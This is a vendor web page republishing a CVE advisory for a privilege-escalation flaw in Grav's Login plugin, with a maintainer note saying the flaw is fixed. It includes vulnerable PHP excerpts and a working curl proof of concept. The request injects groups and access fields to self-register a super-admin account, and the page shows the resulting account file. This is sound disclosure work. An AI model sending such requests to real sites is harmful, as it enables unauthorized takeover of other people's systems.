Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-42613 — grav

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-20 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access

# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

Summary

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

  • File: user/plugins/login/classes/Login.php, lines 246-306
  • Method: Login::register()
  • Validation: Login::validateField(), lines 363-432
  • Plugin: Login Plugin 3.8.0
  • Grav: 1.8.0-beta.29

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

```php

// Line 254-260

if (!isset($data['groups'])) {

$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);

if (count($groups) > 0) {

$data['groups'] = $groups;

}

}

// Line 262-267

if (!isset($data['access'])) {

$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);

if (count($access) > 0) {

$data['access']['site'] = $access;

}

}

```

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

```php

if (isset($data['groups'])) {

$user->groups = $data['groups']; // attacker-controlled

}

if (isset($data['access'])) {

$user->access = $data['access']; // attacker-controlled

}

$user->save();

```

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

```yaml

# user/config/plugins/login.yaml

user_registration:

enabled: true

fields:

  • username
  • password
  • email
  • fullname
  • groups # ← enables the attack
  • access # ← enables the attack

```

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):

```bash

curl -X POST "${TARGET}/user_register" \

--data-urlencode "data[username]=attacker" \

--data-urlencode "data[password1]=Str0ngP@ss!" \

--data-urlencode "data[password2]=Str0ngP@ss!" \

--data-urlencode "data[email][email protected]" \

--data-urlencode "data[fullname]=Attacker" \

--data-urlencode "data[groups][]=admins" \

--data-urlencode "data[access][admin][login]=true" \

--data-urlencode "data[access][admin][super]=true" \

--data-urlencode "data[access][site][login]=true" \

--data-urlencode "form-nonce=${FORM_NONCE}" \

--data-urlencode "__form-name__=user_register" \

--data-urlencode "__unique_form_id__=${FORM_UID}"

```

Resulting account file (user/accounts/attacker.yaml):

```yaml

email: [email protected]

fullname: Attacker

groups:

  • admins

access:

admin:

login: true

super: true

site:

login: true

hashed_password: ...

state: enabled

```

The attacker can then log into /admin with full super-admin privileges.

Impact

  • Severity: Critical (when precondition is met)
  • Vector: Unauthenticated → Super Admin
  • Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
  • Precondition: Registration enabled with groups or access in allowed fields — a configuration the admin UI permits without warning

Environment

  • Grav Core: 1.8.0-beta.29
  • Login Plugin: 3.8.0
  • PHP: 8.4.11

Credits

Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/

Maintainer note — fix applied (2026-04-24)

Fixed in grav-plugin-login 3.8.2 (commit [3d419a0](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's [blueprints.yaml](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-42613 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.

Affected software

CVE-2026-42613 is recorded against 2 packages.

  • getgrav/grav (fixed in 2.0.0-beta.2)
  • unknown

Timeline and source

Published on 5 May 2026 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Other advisories for this package

getgrav/grav has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWE CWE-20
Public Exploit ✅ No
Source NVD
Published 2026-05-05
Updated 2026-08-20
Modified 2026-07-08
Fix URL N/A

Affected Packages

Software From version Fixed in
getgrav/grav 2.0.0-beta.2
unknown

Similar Threats

Exploit Protection

Are you running grav?

CVE-2026-42613 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-42613 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026